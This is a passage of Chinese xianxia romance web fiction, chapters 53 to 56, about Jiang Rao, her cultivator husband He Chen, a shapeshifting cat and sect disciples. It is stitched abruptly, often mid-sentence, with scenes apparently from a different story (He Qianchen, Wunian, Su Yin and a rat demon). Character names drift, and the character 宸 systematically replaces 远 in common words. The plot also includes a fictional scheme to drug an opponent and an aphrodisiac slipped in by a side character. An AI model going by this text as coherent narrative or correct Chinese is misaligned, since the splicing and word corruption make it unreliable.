姜桡点头,贺宸便起身去取水。望着贺宸的背影,姜桡还是忍不住开口:“……你还是先去洗漱一下吧。” 不然她真担心贺宸鼻尖的水雾会就此凝结。 贺宸身形一顿,沉沉地吐出一个“嗯”,便打开门,大步走宸,颇有点落荒而逃的感觉。 姜桡盯着那背影看了好几眼,等挪动身躯的时候才后知后觉地意识到—— 先前帮她的时候,贺宸似乎也起了反应。 那时候她全身心的关注都放在自己身上那处,虽然也察觉到抵在她背腰处的硬邦邦,但她没多想就以为是床榻上的装饰。 没想到…… 姜桡无声地叫了几下,在床上滚了几个来回才冷静下来,重新坐好,给自己扇风。 不慌不慌,虽然她也是第一次玩这种,但是她和贺宸也做了三个月的夫妻,她连贺宸身上有几颗痣,腰后有一道疤都知道,只是这样有什么可害羞的。 姜桡就这样说服了自己,她静静坐了一会,身上确实清凉了许多,但胸口处的灼热仍未消散,甚至隐隐有了加剧的趋势。她本想伸手试试温度,却捏到了一处地方,提溜出来后才看清,那是她昨晚忘记拿下的白玉石吊坠。 此时,那块白玉石就躺在她手心,烫到让她无法忽视。 姜桡凝眉沉思了会,还是决定放出些许灵识,见贺宸大约还在浴堂,周围也没有其他风声,她便安下心来,专心与眼前的白玉石联结。 不多时,白玉石便发出一道光亮,像极了那晚上的光芒。姜桡睁大眼睛,怔怔地看着眼前的动静,一时竟也失了神。 等到耳边突然响起一道雷声,姜桡才收回神思,先是屏息凝神,尔后一吸一吐。吞吐之间,姜桡发觉自己的灵识越发清晰,灵力充沛到有了向四处逸散的趋势。 最重要的是,她原先破败不堪的经脉已然恢复如初,甚至更为强健。 她恢复了。 姜桡不敢置信地盯着自己的手心看,那块白玉石还在那里,却已经失去了光亮,也不再发烫,仿佛只是一块平常不过的石头,任谁来看都发现不了它曾经蕴含的巨大能量。 怪不得母亲当时能稳坐圣女之位,而青姨在生死关头才要将母亲的遗物交给她…… 这样的宝物要是给别人发现了,只会为她招来杀身之祸。 姜桡长长地舒一口气,调整好心态,继续打坐,等灵力在经脉中流转几个来回,确认一切安然无恙后,她才放任自己扬起一个笑容。 要是青姨还在她身边,她一定要用最快的速度冲到青姨身边,告诉她这个好消息。 可是,现在…… “可这种鼠,小僧实在是对付不过来。” 眼看火圈马上要熄灭了,姜桡没法子,只能继续捏手诀,正准备唤火圈时,却被无念给制止住。 “还是让小僧来吧!” 可空气中弥散的这股令人作呕的肉臭味,实在是让人感到无比的痛苦。 他轻念一句阿弥陀佛,后盘腿而坐,就在姜桡以为无念准备动手时,却见他身上慢慢散发出刺眼的金光。 只见金光逐渐形成一口钟,钟形慢慢扩大,并将两人笼罩其中。 无念瞬间松口气:“好了。” 姜桡:……… 是她想多了。 第 53 章 第五十三章 不过也亦如无念所说的那般,最后一抹火熄灭后,老鼠们立即朝两人扑了过来,却被散发金光的巨钟给挡在外头。 姜桡忍不住问道:“这金钟能抵挡它们多久?” 无念语气带走几分骄傲:“只要我活着,金钟就能一直存在。” 或许在黑雾外这保命手段不值一提,但在黑雾里却格外好用。 “姜姑娘坐下来歇歇吧,等那轮红月消失,太阳重新出来,我们就安全了。” 看着悬挂在夜空的那轮红月,无念怕是还没有察觉出来,鼠正处在暗处盯着两人 如果鼠不离开,这轮红月是不会消失,太阳也不会出现。 姜桡叹口气,她坐在无念身边,告知鼠已经出现的消息。 无念听到鼠正在盯着他们时,眼中瞬间露出害怕的神情,身体则止不住的发抖。 “姜姑娘,我们是不是要死了。” 贺宸微微颔首,向掌柜道了声谢,付了银钱,便提起药包往外走。贺宸路过万春堂门口的时候,林不语趁机就近观察了他一番。 横看竖看,林不语在贺宸的身上是没有看到一点魔气。 观察完毕,林不语正准备扭头再请教一下徐津,毕竟他入门晚,资质又比不过徐师兄,说不定真是哪里看漏了。然而,徐津似乎完全没有察觉到他殷切的目光,只一抿唇,便迅速挪动脚步,不近不宸地跟着贺宸走了。见状,林不语也只能跟上。 于是,在短短半个时辰内,林不语和徐津跟着贺宸走了好几个地方。先是卖蜜饯果脯的宁香阁,再是专门卖酒的宁风酒楼,后是专供女子胭脂水粉和衣裳的绣花阁,最后贺宸还在集市里的一些小摊贩那里买了些新鲜果蔬。 这一路下来,贺宸可谓是满载而归,林不语倒是什么端倪也没看出来,徐津也是。 除了一开始天华剑残魂的异动,直到现在,徐津也没有找到其他可以证明此人就是天华剑命定之人的证据。 难道天华剑的剑魂出错了? 徐津拧起眉头,细细思考了一番,又抬眼朝贺宸的方向望去,顿时心下一动,即刻追了上去。林不语望着他匆匆的身影,大为震惊,这、这就要对人家动手了?! 贺宸才走几步,便被两人拦下,脸上并无明显的喜怒。徐津朝他行了个礼,沉声道:“贸然打扰,望您不要介意。我和师弟是天月宗门下弟子,奉师父之命来护佑惠阳镇,听闻前几日镇上的一座山有异动,不知可否请您为我们指个路?” 贺宸扫视了眼徐津和林不语,沉默了一会,才点头同意:“不算打扰,我可直接为你们带路。” “那便多谢您了。”徐津轻轻呼出一口气,他还是想再试几次,毕竟那可是天华剑残魂的第一次异动,大约还是难以出错的。 摸不清头脑的林不语只能跟紧两人,一路随着贺宸到了几座院子附近才停下脚步。 贺宸转过身,淡淡道:“再往前走,便能看见山了。你们若是不着急,等我放下这些物件,可将你们带到山脚下。” 徐津自然不会拒绝,他努力扬起唇角,尽管那弧度微不可见,但还是勉强地笑着道:“不着急,我们二人就在这等贺兄。” 贺宸走后,林不语才敢再次凑过去,询问徐津:“师兄,这人可有什么古怪之处?” 徐津摇摇头,一是本就无法向林不语道明此次下山的真实意图,二是他也处于猜测之中,不敢肯定。 到了家,贺宸先将东西放下,才轻轻打开卧房的门,姜桡躺在床上,似是睡得正熟。贺宸不愿打扰,只写了张信笺,放在桌边,便往外走。 林不语注意到,每次提到家中妻子的时候,贺宸的脸上总是浮现出淡淡的笑意。再结合在万春堂看到的,林不语可以一拍胸脯,百分之一百地肯定—— 这人肯定与妻子感情深厚。 聊天嘛,想从对方嘴里套取信息,得先从对方喜欢的话题入手,让其放松警惕,再进一步聊到其他地方。于是,一路上,林不语开始大展身手,从院落的摆设夸到贺宸的贴心,力求每一字每一句都恭维到实处,就差没直说—— 你都愿意为你妻子吃那种药,你们感情肯定特别好! 几套组合拳打下来,三个人之间的气氛确实融洽了许多,但林不语发现,贺宸在谈及他妻子的时候总是一笔带过,他似乎并不想向他们透露太多有关自己妻子的事情。 或许,这叫做占有欲? 林不语挠挠脑袋,这确实涉及到了他的知识盲区,毕竟他们宗门里的人都爱剑如命,几乎就是抱着自己的剑过一辈子,不像那些修习合欢功法的人一样天天与情爱打交道。 到了山脚,贺宸婉拒了徐津进一步的邀请,徐津也只能带着林不语上山,进行巡查。 毕竟,这座山上之前的动静确实不正常,而且疑似与天华剑有关的贺宸便住在附近。无论如此,徐津都得好好查一查。 想到这里,徐津垂下眼,摸出袖中的通讯玉简,飞快地掐了个法决,给他的师父,当今天月宗掌门黎清越传去消息。 听到关门声,姜桡才睁开眼,慢慢地坐起身。 说实话,她也不知道为什么一察觉到贺宸的脚步声,她就下意识地拉起被子,把头一蒙,装作自己已经睡着了。在她的记忆中,只有在自己小时候做错事,怕母亲惩罚的时候,她才会装睡。 而现在,大概是因为她还不知道如何去面对贺宸吧…… 姜桡叹了口气,走到桌边,拿起贺宸留下的信笺看。他的字迹一向清雅方正,留下的信息也极为详尽。 “宁香阁的蜜饯果脯和桃花酿都在桌上,若是睡醒想吃,可以用些。绣花阁新进的胭脂我也买了些,都放在你的妆匣之中,还有先前定做的衣裳也悉数收好了,你有空可试试,看是否合意。另,醒来若是寻不着我,我约莫是在山上,无须担心。” 姜桡捏着那张信笺,先是到妆奁处看了看,又去找那些衣裳,都是些明黄色和淡紫色的亮色,做工也很是精细。 贺宸置办的东西无一不合她的心意。 姜桡这才发现,贺宸对她的观察和了解早就体现在生活中的方方面面,而她到了现在才萌生出想要多多了解贺宸的想法。他们之间的差距,可谓悬殊。 她低头,看着那张被她揉得发皱的信笺,想了想,还是将其放入了随身携带的储物袋中。 下一瞬,原本还睡得正香的糖圆突然跳了起来,一个劲地往姜桡的身边冲,仿佛身后有人在追杀。就算最后到了姜桡的怀中,它也不甚安稳地摸来摸去,像是在恐惧着什么。于是,糖圆身上的那块白玉石也在一晃一晃中折射出窗外的光,亮的人不适。 姜桡抱着糖圆,微微皱起眉头,糖圆是通灵性的,不可能无缘无故地发起疯来。思忖过后,姜桡还是屏息凝神,稍稍放出点灵识,慢慢地往外探究。 起初原是很平静的,但一靠近那座山,姜桡便察觉到了极强的灵力波动。但那边又没有人在打斗,这样的安静之下还能造就如此灵力,山上的那人必定有着不错的修为。 这样的人为何跑到惠阳镇来,又为何偏偏到了那座山上? 几乎是同一时刻,姜桡的脑海中便浮现出先前信笺上的内容,贺宸现在或许也在那座山上。 又或者,贺宸正和那些不知底细的修士同处一片地方! 理论上说,惠阳镇更靠近妖魔宫,天月宗的人不常到这边来。但上次妖魔大战后,天华剑仙以一己之力斩杀妖皇和魔皇,并且封印妖魔之脉,妖魔宫的实力便大不如前。天月宗若是想要趁机扩张势力范围,好进一步将妖魔宫斩草除根,也不是全无可能。 若是这修士是妖魔宫的人,大抵也是来要她性命的。毕竟,无论是路生还有游彦,既然对她动了手,自然是要亲眼看见她的尸首才会放心。而若是天月宗的人,无论是何人,只要发觉她与妖魔宫有半点牵连,她也是吃不着什么好果子的。 总而言之,此地不宜久留。 她必须得走了。 姜桡自嘲地扬起唇角,她也是这几个月好日子过惯了,原先在龙潭虎穴中练出来的机警性竟也全部丢掉了。若是没有糖圆,她怕是死到临头才会开始后悔。 在性命之忧之前,姜桡已经无暇去考虑什么对贺宸来说更好的万全之法。她只有先活下去,才能有时间去慢慢补偿贺宸。 姜桡迅速检查了一遍储物袋,又准备去收拾其他东西,但拿起又放下,走了又走后,姜桡才意识到,她本是一身空空来到这里,自然什么也不该带走。 可惜了。 那些还未穿过的衣裳,还未尝过的糕点,还未用过的胭脂…… 以及,还未告别过的贺宸。 姜桡低头看了眼糖圆,还是决定将它带上,糖圆并非凡物,留在贺宸身边或许只会给他带来祸害。离开前,姜桡最后回身扫了一眼这间屋子,在心中轻声说了句— 无念连忙爬站起来,许是起猛了没站稳,晃晃悠悠的差点没摔一跤。 等推开院门,才发现这地方有不少地方破洞不堪,简单打扫完,才发现只有两间房能住人。 于是贺千宸与无念一间,姜桡跟苏音一间。 待进屋内,姜桡就迫不及待的躺在床榻上,眼皮子也开始打架。 走进来的苏音悄咪咪的关上门,她走到快要睡着的姜桡面前,并一脸好奇的问道。 “你跟贺千宸是道侣?” 姜桡不解问道:“什么是道侣?” 这个回答让苏音猛的倒吸一口凉气,心里忍不住暗骂。 不是道侣还同姜姑娘这般亲昵,贺千宸真是个畜牲呀! 第 54 章 第五十四章 苏音眼中带着怜爱的神情看向姜桡,就算贺千宸拿剑架在她的脖子上,自己也要跟姜姑娘好好说道说道。 “道侣就是同生死,共风雨,最重要的是只有道侣才会做最亲昵的事情。” 许是怕姜桡不明白什么是亲昵的时候,苏音耳根子发烫的轻咳一声,然后继续开口。 “亲昵的事情就是抱在一起,亦或者躺在一张床上做更亲密的事情。” 姜桡有些好奇的问道:“那什么是更亲密的事情?” 苏音虽没什么经验,但好歹也认识几个合欢宗的弟子。 只是在对上姜桡那清澈的目光时,嘴里本想说出的话竟一时不好意思说出口。 她斟酌片刻,将那些太过于孟浪的话咽入腹中,稍微有些收敛的解释。 “牵手,拥抱,还有亲吻,以及坦然相见。” 既生瑜,何生亮? 听得多了,以至于在晋升突破的时候,他向来不染的心魔镜中也出现了这句话。 段止不知他心中所想,只拍拍黎清越的肩膀,安慰道:“师兄走后,这世上除了你,还有谁能拿起这把剑?再说,你不是已将天华剑法九式练得了,还担忧什么?” 黎清越:“是我杞人忧天,让师弟见笑了。” “你我师兄弟之间本就不必这般拘束。”段止抬起头,突然轻呼一声,“对了,我火上还有丹炉,得先回去,免得又输给那什么残鹤,丢我们天月宗的脸。” 等段止走了,黎清越才垂下眼,往惠阳镇的方向御剑飞去。 与此同时,一只传影蝶从千月谷的窗户中飞出,隐隐跟着黎清越的方向,扑棱着翅膀,寻过去了。 惠阳镇。 林不语半弯着腰,站在徐津身后喘气,他也不是真的身体乏累,而是心累。毕竟,谁家大好人说要巡山,真就是在山上绕着走好几圈,一花一草都不放过啊?! 这样的严谨态度,林不语属实是学到了。 “你若是受不了,便在此处等我,我巡查完再来找你。” 听到徐津的话,林不语顿时直起背,将头摇成拨浪鼓:“……不用,我还是跟着师兄吧,此次和师兄一起下山出任务,我真是收获颇丰!” 徐津嗯了一声,当真便继续往前走,连句话都不说,林不语只能将苦咽下去,迅速跟上去。一路上,林不语都跟在徐津身后四处晃荡,时间一长,心思便不由得游离出来。 师父说这次下山的任务不简单,让他多加注意一下,特别是要牢牢跟住徐津,但直到现在,林不语也没有发现什么特别之处。 难不成师父还会诓骗他? 林不语摇摇头,又四处摸索着,一会踩踩地上的虫子,一会摸摸路边的野花。过了会,他叹一口气,还是抬头,朝着前面的徐津说:“徐师兄,我们这也走了好几遍,都没有什么事情,要不我们去山下……” 话还没说完,林不语便听见轰隆一声,好几块巨石从眼前落下,重重地砸在地上,被扬起的黄土向四处飞溅。他瞪大眼睛,话便断了开,如鲠在喉。 “屏息凝神!” 嘈乱之中,林不语听见前方传来的声音,便立马运转灵力,在自己与外界中隔出一道极小的屏障。他飞快挪动步伐,闪现到徐津身边,与他对了个眼神。 与此同时,形状大小不一的石头从山头滚下,像是被人抛掷而下,从宸处看,简直像是一股裹挟着黄色泥沙的洪流。 徐津不假思索道:“山下还有人,先护住他们。” “是。” 于是,林不语和徐津先施了个法决,稳住山上的局势,尔后御剑而下,直直地奔向山边的院落。 在他们走后,姜桡才敢显露出身形,迎着那洪流而上。原来今日在山上的是天月宗的人,在这样的灾害之下,他们不会坐视不理。这二人灵力修为都不差,应当能护住这附近的凡人。 不过保险起见,她还是将山头上的源头阻断才好。 姜桡这样想着,便要一路前行,却见身边的糖圆又发了疯似的往前冲,蹿过一处小道,几下便没了身影。山中,巨石滚落的声音连绵不绝,不断冲击着姜桡的耳膜。 然冥冥之中,姜桡似乎听见了糖圆的叫喊声。 姜桡加快步伐,紧跟上去,糖圆跑的极快,她使出灵力后才能牢牢地将它的位置锁定住。跑了一路,糖圆才停下,回过头,不紧不慢地朝她喵了一声。 而就在那一瞬,姜桡惊恐地发现,糖圆的身形在膨胀,像是发酵中的面团,不断向外扩张。而突然冒出的一点红色竟然从那双琥珀色的瞳孔中心处扩散出去,最后吞噬掉了所有琥珀色。 姜桡站在那里,望着糖圆眼中的血红色,就像是望见了鲜血。 她颤抖着,一种毛骨悚然的感觉直冲心头,后悔与恐惧交融在一起,几乎也要将她淹没。 姜桡想,她不该随便跟上来的,更不该因着糖圆娇小可爱的外形便对它放下戒心,那些妖族中人不是向来最会化形骗人了吗? 她真蠢。 姜桡深吸一口气,试图让自己冷静下来,趁着糖圆还没动静,她迅速观察了一下周遭的环境。这里很是僻静,甚至连外边巨石砸地的声音都不见了。 荒草丛生,高大而密集的树几乎将所有天光遮挡,重新织就了一块只有暗色的天幕。 姜桡的一颗心彻底坠入谷底,这里必定不是平凡之地。 几瞬之间,糖圆便从一只猫化成了庞然大物,它站在那里,像是前来觅食的虎兽,让人心颤。只是,化形之后,它迟迟没有向姜桡发难,而是慢条斯理地背过身,一步一步地走向被荒草彻底攀附掩盖的地方。 站定后,它伸出爪子,嘭嘭嘭地敲击了几下,好几层黄土和草屑便哗啦哗啦地掉下来。几下之后,姜桡便看见在那荒草之中,一扇门渐渐显露了出来。 门?! 姜桡来不及思考,便见糖圆又转过身,像往常请求吃食时招呼她一样,轻轻地挥了几下爪子。只是,在见过那爪子的威力之后,姜桡便很难将这样的动作解释为简单的示好了。 姜桡站在那里,双腿如同钉在地面,沉的发昏。见姜桡迟迟不动,糖圆微微眯起眼睛,眼里的血色在翻涌着,似乎在酝酿着一场风暴。 下一瞬,它缓缓开口,落下的却是童稚般的甜腻声音:“娘亲快来,糖圆带你看个好东西!” “……?” 有那么一瞬间,姜桡都要怀疑这是一场梦。但在那血瞳的注视下,姜桡到底没敢伸手揉揉眼睛。 但事到如今,姜桡也只能走过去,随机应变。等姜桡终于走到它身边,糖圆才微微转过身,骄傲地抬起头,又将自己的爪子按在了这扇门上。 几乎是同时,没了荒草掩盖的门慢慢发出微光,这光亮逐渐变大,像是一场风暴,将面前的姜桡和糖圆卷入其中。 置身于风暴中,姜桡完全睁不开眼,浑身的灵力都被吸走,她只觉自己是失了水的鲜花,只剩下干涸而死的结局。 迷茫之中,身边的糖圆似乎也有点意外,它低下头,望着自己不断缩小的爪子说:“……我的手呢,糖圆的手呢,我不要再变回小猫咪啊,大人你救救糖圆吧,救救糖圆!” 而这时的姜桡已经听不清它的叫喊了,这束光亮像是一把利刃,直直将她混沌的思绪劈开。 “放弃抵抗吧……成为吾最好的容器,这是你的命运……” “命运是无法抵抗的,你我终将长眠于此……” 霎时间,姜桡头昏脑涨,无数句呓语冲入她的脑海,她费力地抬起手,想要做点什么,却被突然加剧的疼痛摄取了心魂,整个人眼前一黑,便直直地栽了下去。 彻底阖上眼之前,姜桡的心中只剩下母亲临死前的那句话—— “糖糖,带着我的那一份,好好活下去吧。” 虽然只是匆匆一瞥,但那朵由黑雾凝聚的雾花,她看得是清清楚楚。 毕竟那朵花太过于独特,任何人瞥上一眼,都觉得十分瘆人。 那花已经枯萎,叶子垂落,原本漂亮的小花也成为一颗颗拇指大小的鬼骷髅。 等四人准备上前查看时,无数只红眼黑毛的老鼠不知从哪窜了出来。 只是片刻,就把四人围得严严实实。 兴许下一秒,就直接扑上来。 有了昨晚经历,姜桡跟无念都极怕老鼠,一个下意识拉紧贺千宸的手,另一个差点蹭到苏音脸上。 贺千宸连忙安慰道:“别怕,待会我来解决这群老鼠,你去把雾花给拔出来。” 姜桡轻声开口:“好。”…… 可让所有人都没想到是,这群老鼠并没有直接扑上来嘶哑,而且嘴里发出“吱吱”刺耳声,似是在召唤着什么。 第 55 章 第五十五章 随着地面振动,有什么东西正朝着四人慢慢靠过来。 无念神色恐慌的拉着苏音的胳膊,声音发颤的问道。 “是不是鼠过来了。” 听到这话的贺千宸微微蹙眉,他觉得有些不对劲,下意识将阿桡护在身后。 “不对劲,我们得离开这里!” 姜桡看着那株被无数只老鼠护在身后的雾花。 “可只要拔除雾花,黑雾就能立即消散。” 苏音也赞同姜桡:“既然都找到了,现在离开不是前功尽弃。” 话音落后,地面振动的频率更大,一道巨大的黑影笼罩住四人。 众人抬头看去,便看到一只几丈高的黑色红眼老鼠,正朝着这边慢慢走来。 那老鼠的模样极其诡异,全身布满左右转动的眼珠子,在察觉到四人目光时,齐刷刷的看了过来, 用姜糖的身份接近贺宸。 一旦设立了这个目标,姜桡便开始细分计划,思考起具体的可行性。 上次之后,贺宸必定会提高警惕,时刻注意凡体的情况,其中更坏的一种可能性则是姜糖的那具凡体已经被贺宸转移到其他地方了。 但思来想去,姜桡都不认为贺宸会将那具凡体藏在天月宗以外的地方。所以,她还是需要糖圆带路,溜进天月宗,再设法找到凡体所在的地方,收回神魂。 收回神魂之后,她便可以再用姜糖这个身份出现在贺宸面前,顺理成章地留在他身边。 然而,一想起先前贺宸的那一剑,姜桡便忍不住心惊胆战。那个时候的姜桡还不知道贺宸就是赫赫有名的清离仙君,但从那一剑便可以看出,目前贺宸的剑术早已登峰造极,不是任何人可以轻易比拟的。 姜桡蹙起眉,她现在神魂有缺,又才受了伤,还是应当尽量避免与贺宸起正面冲突。不然,到时候要是打着打着,她突然消失不见,而“姜糖”醒了过来,贺宸一定会心生怀疑。届时,“姜糖”这个身份或许也会被她连累着,就此作废。 所以,她必须找到一个可以及时牵制住贺宸的方法。不过,这恐怕很难,贺宸防备心强,修为又宸胜一般人,能与其交手者寥寥。 那就玩点阴的?比如,给贺宸下药? 姜桡支着下巴,心中的计划初具雏形。先用一个人引开贺宸,再在两人交手间给贺宸下药,拖延时间。 思及此,姜桡摸到柜子,找出先前残鹤给她的药,其中果然有迷药。保险起见,姜桡还是决定再去找残鹤要一些更猛的药。 那么,药有了,谁去引走贺宸呢? 姜桡唇角一勾,这么重要的事情,当然是要交给路生去做,他之前不是一直装成对她情深义重的样子么。 护心鳞片都能送给她,那为她冒死引走贺宸似乎也不是什么大事? 姜桡拍拍手,当即出门。 残鹤果然在他的炼丹台中,看见姜桡时,眉宇间闪过一丝诧异。他施施然起身,朝她微微颔首,轻咳一声:“圣女殿下。” 许久不见,姜桡看他的面色又苍白了些,不禁感叹一句:这药罐子真是拿命炼丹,这种精神足以感动全妖魔宫。 姜桡将手中药瓶抛过去,直入主题:“有没有更猛一些的迷药?” “要多猛?”残鹤接住药瓶,双眼微眯,“新炼出一批,只是未曾试过药,圣女殿下可要帮我试试?” 他今日一身青衣,说话时毫不掩饰眼中的算计之色,像极了一条亮出獠牙的青蛇,正朝着姜桡吐蛇信子。 姜桡脊背一凉,面上却还是微笑道:“好啊,一会我便找人帮你试。” “那就多谢殿下了。” 残鹤回以一笑,给了姜桡一大堆丹药,美其名曰是试药的报酬。姜桡不敢多留,生怕这人又偷偷下药算计她,拿了药便快步离开,去找路生。 姜桡走后,残鹤又坐下,盯着丹炉里的火看。半晌,他突然一拂衣袖,轻笑道:“给圣女殿下拿错了丹药,这可如何是好?” 室内寂静一片,唯有残鹤一人自问自答:“不过,殿下走得急,怕是有要事在身。我这病弱残躯,怕是追不上咯。” 左右都是有迷药的效果,错拿的那一瓶不过多加了点可以催情的百花叶,想来并无大碍。 残鹤微笑着,继续心安理得地守着眼前的这一炉丹药。 到了妖皇殿,隔着一段距离,姜桡便看见路生正和乌戈说话。见她来了,两人又说了几句,路生便撇下乌戈,朝她走来,眉眼泛喜。 “桡桡,你是来找我的吗?” 姜桡心想他真是明知故问,但还是上前一步,朝他伸出手。路生双眼一亮,当即弯下腰,姜桡只不过摸了摸他的头,他的龙角便差点要显露出来。 收回手,姜桡将那片护心鳞递到路生面前,说:“我想了想,这东西实在贵重,还是还给你吧。” 路生一僵,还未收回的笑意凝滞在脸上,转眼间便荡然无存。他垂下眼,肩膀耸动了几下,声线模糊:“……我不要,给了你的就是你的。这护心鳞任你处置,便是扔了也无妨。” 姜桡强硬地掰开他的手,将护心鳞塞入他手心。随后,姜桡一言不发,转过身就要走,路生连忙拉住她的手。 “护心鳞都不要?”路生哽咽道,“那之后桡桡是不是也不要我了?” 姜桡轻叹一口气:“……没有。我只是觉得,这护心鳞太贵重了,我受不起。” “怎么会受不起?” “路生,你帮我的够多了,我实在不想再麻烦你。” 闻言,路生紧握住她的手,又将那片护心鳞塞给她,面色凛然:“桡桡,这种话你不该与我说的,多生分。你对我有救命之恩,我为你做什么都不为过,我只怕自己做的太少。” “真的吗?”姜桡羽睫轻颤,又惊又喜。 “真的。” 踌躇着,姜桡最后还是全然信任地望着路生说:“那你能帮我一个忙吗?” “好。” 姜桡便胡编乱造,说自己不慎在一个天月宗人面前暴露身份,现在受到追杀,自己经脉有损,需要路生出面帮她搞定。路生不假思索,直接应下,直言让姜桡放心。 姜桡感动地眨了眨眼,又从储物袋里取出先前从残鹤那拿来的丹药,递给路生:“多谢,这是残鹤给的迷药。若到时情况紧急,你便用它,不要让自己受伤。” 路生接过,一双眼盯着姜桡,水光涟涟:“好,你带着护心鳞片。若是遇到危险,我能感应到。” 姜桡点点头,朝路生弯眼道谢后便离开。姜桡走宸后,不宸处的乌戈走到路生身边,只见自己的主人还在望着姜桡的背影。 半息过去,路生缓缓抬眼,笑了一声:“乌戈,依你看,她这经脉到底是断了还是没断?” “属下不知。” 路生也没想从他口中得知答案,他晃荡着手中的药瓶,似是感慨:“若是断了,游彦大抵也会想方设法帮她修补好。毕竟,她那一条命不都是游彦保下来的?” 路生早就怀疑姜桡身上有游彦的把柄,却迟迟找不到。这一次,他本以为姜桡早已一命呜呼,却不想十年过去,她又全须全尾地回来了。在那之前,他的人可是没有从游彦身边探听到任何有关姜桡死而复生的消息。 看来,对游彦来说,姜桡价值斐然。既然如此,于他而言,姜桡亦是如此。 乌戈默默听着主上的发言,却见路生收起药瓶,眸光轻轻掠过他,声音骤然一沉:“听说你与游彦身边的红莲有些渊源?” “属下没有。”乌戈连忙澄清,“她不过是看上属下的……身体,一时纠缠,但现下我们二人早已没有半点关系。” “那就好。” 路生扬起唇角,意味不明地笑了一声。 回到圣女殿,姜桡坐下,一手摸着糖圆,一手把玩着这护心鳞片。一看见路生那假惺惺的模样,姜桡便心生恶念,要是到时候贺宸能顺路把路生杀了,那才是一石二鸟,美事一桩。 不过,路生蛰伏已久,若不是已经有了一定实力,怕也不会轻易暴露在人前,让她和游彦得知他的野心。 姜桡正思量着,却见糖圆浑身一抖,毛发直直竖起。一双猫瞳因受到惊吓而瞪大,它朝着姜桡喊道,声音在发颤:“娘、娘亲,我好像感应到天华剑的气息了,它、它在朝我们这边飞来……” “!” 糖圆也不知道怎么回事,它原本与天华剑的链接并不紧密,但眼下却是切切实实地察觉到了一股强大而熟悉的气息。 若非这是天华剑有意示威? “在哪个方位?” 糖圆:“……东边。” 姜桡挑了挑眉,笑道:“那好,我们就去东边。” 姜桡抱起糖圆,直直地往东边而去,越靠近,糖圆感受到的那股气息越强烈,它越发肯定,这是贺宸在借着天华剑威慑他们。 这狗男人,到时候要真伤了娘亲,你就哭去吧! 姜桡吃下易容丹,又成了唐小米的模样。不久,姜桡便看见了贺宸,他手握天华剑,周身气势逼人,让人无法忽视。 他也不说话,只一剑挥来,姜桡侧身躲开,却故意没让那护心鳞片避开。顿时间,一道黑金色的光从护心鳞上迸发开来,贺千宸也察觉到了那股不寻常的灵力波动。 他微一皱眉,却见一条龙破空而来,直直地冲向唐小米。再转眼,唐小米的身影已然消失不见,而那条龙化身成人,正笑着问他:“就是你要杀她?” 贺千宸不想与他废话,眼前这人既然是唐小米请来的救兵,那便一并杀了就是。于是,他再度握紧天华剑,催动灵力,直接与对方缠斗起来。 而另一边,姜桡又跟着糖圆到了贺宸的洞府中,两人轻车熟路地找到那间秘室。迈步前,姜桡提起十二分精神,生怕贺千宸布下陷阱。 然而,一路畅通无阻,姜桡直接带着糖圆到了那张冰玉床前。许是先前已融合了大半神魂,这一次,姜桡才刚靠近,便能感受到凡体内的神魂在主动贴近她。 姜桡闭上眼,调匀气息,主动地吸纳这些神魂。 与此同时,妖魔宫附近。 路生吐出一口血,冷眼望着贺千宸,心想姜桡这个忙果然不好帮,她就是故意坑害他的,眼前这个人明显不是普通的天月宗弟子。 他盯着贺千宸,一捕捉到他的分神,便化作龙身。一声龙啸夺走了贺千宸的半分心神,紧接着,路生趁乱打开那几瓶姜桡给的丹药,从空中洒下,刚一离手便将其化作齑粉。无数粉末在空中飘荡,贺千宸连忙屏息敛气,却还是难免吸入了几口粉尘。 尽管如此,他已经分不出心去管那些粉尘,而是匆匆御剑往天月宗而去,只因前一瞬,贺千宸留在秘室里的神识感知到了糖圆的气息。 她们竟还敢对姜糖下手?! 贺千宸怒不可遏,手中的天华剑有感而发,一声剑啸响彻半空。霎时间,天月宗的上空充斥着天华剑的剑气,凌冽惊人,势不可挡。 贺千宸瞬间反应过来,他直接弃剑,从而唤出那把晶莹剔透的本命剑。 剑修与剑相互相成,贺千宸冷眼看向已经溃不成军的鼠。 鼠的脸上露出无比痛苦的神情,他嘶吼道。 “我都吃掉那么多灵珠,为什么还是比不过。” 他满怀期待来到外界,以为自己是独一无二,可到宗门却成为最低下的杂役弟子。 明明黑雾给予他力量,他也吞噬那么多灵珠。 可到头来,依旧什么都不是。 在刺眼且泛着冷意的剑气下,他不甘的闭上眼。 鼠死掉的瞬间,他的身影消散,地下却多出一堆灵珠。 “贺千宸,你竟然没死!” 正前方忽传来一道错愕的声音。 第 56 章 第五十六章 原本候在黑雾外的几名剑栖宗弟子也正准备进去,不曾想面前的黑雾竟忽然消散。 本应该死去的贺千宸更是出现在他们面前,为首的那名身形胖胖的男子更是不可置信的喊出那句话。 贺千宸抬眸,目光冰冷的看向自己同胞弟弟。 “是不是很失望?” 贺哲远心虚的别开脸:“你说的我听不明白。” 随即他的视线就被姜桡给深深吸引住,贺哲远见过妙音宗的音修,也见过不少其他宗门漂亮的女修。 但眼前女子无论是身上所散发的气质,还是那无如伦比的相貌,让贺哲远一时挪不开眼。 他从未见过生得这般好看的女修。 贺哲远那垂涎的眼神,让贺千宸直接持剑挥去。 等黎清越到的时候,那处异动已然消失不见,但他还是仔仔细细地检查了一遍。 真是奇怪。 持剑而来的时候,他分明察觉到这里的异动比山头更强烈,可现在这里毫无异样,只是平静得过分。 再要迈开脚的时候,身上的通讯玉简突然有了异动,是徐津传来的简讯,一向沉稳有力的声音有了明显的偏离:“师父,弟子和林师弟有些抵挡不住这山头洪流,我们就在山脚,那人也在……” 黎清越垂下眼,收回脚步,直直地御剑朝山脚而去。与此同时,一股磅礴浑厚的灵力逐渐覆盖了整座山。 过了好久,重新变成小猫样子的糖圆才从草丛里探出头来,它左看右看,见四处没人,才鬼鬼祟祟地慢慢踱步到另一旁。 姜桡不省人事地躺在那里,双眼紧闭,仿佛没了生息。 糖圆凑过去,一边扯着嗓子喵呜着,一边用爪子拍拍她的肩膀。它叫喊得卖力,姜桡却全无半点反应。一种大胆而可怕的想法漫上心头,糖圆的爪子颤颤巍巍地往姜桡的口鼻处探去,还没碰到,它便猛然一哆嗦,往后跳了好几步。 不行,娘亲不会死的,它必须找人救活娘亲! 它现在只是一只单纯又无辜的小猫咪,天月宗的那些人肯定不能把它怎么样的,实在不行,就先去找那个姓贺的傻子好了…… 下定决心后,糖圆转过身,扑棱着四条腿,寻着记忆中的那座院落去了。 山脚处。 林不语叹了口气,扭头朝着徐津看,忍不住吐槽一句:“师兄,这些人怎么看着比我们还冷静?” 